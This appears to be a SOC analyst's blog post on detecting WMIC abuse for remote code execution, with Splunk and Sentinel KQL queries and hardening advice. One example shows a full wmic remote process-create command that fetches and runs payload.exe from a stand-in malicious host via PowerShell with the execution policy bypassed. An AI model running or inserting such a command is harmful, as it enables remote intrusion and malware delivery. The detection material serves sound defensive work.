Category: Analyst Advice

I’m not a Windows sysadmin — nor have I ever been. But lately some Sentinel alerts I’ve been seeing at work are WMIC RCE related.

Windows Management Instrumentation Command-Line (WMIC) is a built-in Windows tool that allows administrators to manage systems remotely through WMI. While beneficial for legitimate use, WMIC is often exploited by attackers for RCE and lateral movement within networks. For SOC analysts, detecting and mitigating WMIC abuse is critical to maintaining network security.

WMIC for Remote Code Execution

WMIC can execute commands or scripts remotely using simple syntax, making it an ideal tool for attackers once they gain access to a network. By using WMIC, attackers bypass traditional executable file defenses and leverage its native status to remain under the radar.

Example of WMIC RCE Abuse

wmic /node:"192.168.1.100" /user:"admin" /password:"password123" process call create "powershell -ExecutionPolicy Bypass -NoProfile -Command Invoke-WebRequest -Uri http://malicioussite.com/payload.exe -OutFile payload.exe; Start-Process payload.exe"

This command downloads and executes a malicious payload on the target machine, a common tactic in ransomware or advanced persistent threat (APT) scenarios.

Detection Methods: SOC Analyst Perspective

Both Splunk and Azure Sentinel offer robust capabilities to monitor, detect, and respond to WMIC-related threats.

Splunk

In Splunk, analysts can craft queries to identify anomalous WMIC usage based on Windows Event Logs and Sysmon data.

• Important Data Sources:
  • Windows Security Logs (e.g., Event IDs 4688, 4624, 7045).
  • Sysmon logs (for detailed process creation events).
  • Network traffic logs (to detect communication with suspicious IPs).
• Splunk Query Example:

index=windows EventID=4688 (New_Process_Name="*\\wmic.exe") 
| search CommandLine="*process call create*" 
| stats count by Account_Name, ComputerName, CommandLine, ParentProcessName

This query filters for process creation events involving wmic.exe with suspicious commands, such as process call create. SOC analysts should investigate any outputs showing unusual accounts, command lines, or originating from unexpected workstations.

• Additional Actions in Splunk:
  • Correlate with Threat Intelligence Feeds: Check if the destination IP or URL in the WMIC command is flagged in threat intelligence.
  • Monitor Outbound Network Traffic: Identify if WMIC commands are followed by anomalous data exfiltration.

Azure Sentinel

Sentinel provides built-in detection rules and the ability to create custom analytics queries for WMIC abuse.

• Important Data Sources in Sentinel:
  • Windows Security Events (via Azure Log Analytics Agent).
  • Sysmon logs (if integrated with Sentinel).
  • Defender for Endpoint data (for endpoint-level insights).
• KQL Query Example in Sentinel:

SecurityEvent 
| where EventID == 4688 and NewProcessName endswith "wmic.exe" 
| where CommandLine contains "process call create" 
| extend AccountCustomEntity = Account 
| extend HostCustomEntity = Computer 
| project TimeGenerated, Account, Computer, CommandLine

This query highlights the use of WMIC to execute remote commands. Sentinel allows analysts to integrate custom alerts with workflows using Playbooks to trigger automated responses, such as disabling the account involved or isolating the affected machine.

• Hunting Query for Lateral Movement:

DeviceProcessEvents 
| where FileName == "wmic.exe" and ProcessCommandLine contains "node:"  
| summarize count() by InitiatingProcessAccountName, DeviceName, ProcessCommandLine

Best Practices for Defense

• Restrict WMIC Usage:
  Use Group Policy or Local Security Policy to limit access to WMIC for administrators and critical systems only.
• Deploy Baseline Rules:
  Configure Splunk and Sentinel to flag WMIC commands deviating from organizational baselines.
• Automate Responses:
  Leverage Sentinel Playbooks and Splunk Phantom to automate actions like isolating hosts or alerting admins.
• Monitor Attack Chains:
  Correlate WMIC events with other activity, such as privilege escalation or file downloads, to detect broader attack campaigns.

Conclusion

WMIC abuse is a common tactic among attackers, leveraging a legitimate Windows utility for malicious purposes. For SOC analysts, mastering detection techniques in Splunk and Azure Sentinel is key to mitigating this threat. Look for remote /node and process call create options.